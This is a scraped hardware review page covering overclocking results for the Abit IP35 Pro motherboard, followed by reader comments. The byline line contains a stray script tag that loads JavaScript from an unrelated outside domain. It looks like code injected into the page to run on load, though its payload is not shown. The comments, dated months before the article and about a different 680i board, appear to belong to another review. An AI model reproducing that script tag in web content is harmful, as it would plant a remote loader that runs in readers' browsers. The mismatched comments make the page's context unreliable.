Abit IP35 Pro Intel socket 775 Motherboard


Article <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 25/07/07
Author: Matt Kemp
Source: abit


Overclocking was performed through the BIOS, as all good 24/7 overclocking should be done. The IP35 is solid and stable and has some excellent options there so I was holding out for some good clocks.

Note here that I am using the Xeon 3070 and that overclocking is significantly easier with this CPU than my E6700ES. I am expecting the board and CPU to put up some high numbers.

Low Voltage Overclocking

I usually start off by overclocking using low voltages. As the Xeon 3070 I am using is so good I will start with 1.35v set in the BIOS. With the control you have over the board in the Phoenix Award BIOS the abit was easy to overclock and at this low voltage the Xeon managed a more than healthy 3.6GHz.



Can't complain at that, although remember that the Xeon is a very good overclocker.

Overclocking - Highest Possible Stable on Air

With this test I took the volts up to as high as I felt comfortable with to see what I could get.


4000MHz stable

I attained 4000MHz (4GHz) dual prime stable on air after some tweaking at a voltage of 1.6v. This is very impressive results but again remember that the Xeon is an awesome overclocker.


For this test I simply tried to get the highest front side bus speed I could on the board, booting into windows. This is not a test of stability, just how high I can boot into windows and take a screenshot.



I think that an upgrade in the cooling on the NorthBridge would lead to even better results than this, but 520 FSB is excellent for a board on stock cooling with no tweaks or mods.

The Abit IP35 Pro was incredibly easy to overclock with a huge range of voltage selections and excellent bad overclock recovery. If you're looking for a board to get a nice high stable overclock I would thoroughly recommend it.
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Most Recent Comments

14-02-2007, 09:13:14

Great review Kemp, nice bunch of packaging akin to the rocketboy type of stuffz. I do wish the µguru thing was more of a 5.25 bay thingy tbh. Last time I checked, retailers were ramming these devices down peoples throats for like £11 or so - which amazes me why u never had one in the box ?!?

I would hope these good results will boost a tad more after some bios revisions, board to board I`d expect this one to be a bit better than shown - but meh..

Kewl, I recognize some of those photos too Quote

14-02-2007, 09:27:58

Excellent review as usual mate. The 680i's are toasty little sods for sure, and it's a pity that abit didn't even provide some form of active cooling to try and address the problem. Well done Quote

14-02-2007, 09:35:57

Their answer, and a few other manufs answer, seems to be to add this ugly looking heatpipe structure to stuff.

Heatpipes are great, but I don`t personally like the idea of 2 or 3 of the hs being connected together.Quote

14-02-2007, 09:38:11

2 or 3 connected together is fine, but that needs active cooling to work okQuote

14-02-2007, 10:51:54

Great review, Kemp, thanks for doing it as I was thinking of grabbing one. Now for my thoughts...

DAMN DAMN DAMN! I think the 680i chipset is good but not the king, would really like to see the 975X (or updated chipset) that can support nVidia's 8800 series gpu's in SLI... and done by ABIT. ABIT boards look great, and with the exception of the EZ PLUG for added graphics power, I like their layouts; not to mention my AW9D was rock-solid, even using an E6600 @ 3.7GHz... my 680i mobo can't touch it, only solid at 3.4GHz or lower.

Like the EZ CMOS as well, no more dip-switch installations! (newer mobos don't have problems like the old mobos after a bad OC, but it's the thought that counts!)

I personally don't see all the fuss over the passive cooling for the NB/SB. My case uses 4 120mm fans on the side of the case, so I get a lot of extra cooling... not to mention the little fan that came with my mobo for the NB, so I don't have a heating problem. I think it works fine, even without the little fan made for the NB; on the other hand, an enthusiast board should give the user the option to remove the passive to add active (fan) cooling solutions. The only thing I wonder about is the need for pipes from SB--NB--PWM... do the pipes really do anything for the cooling?


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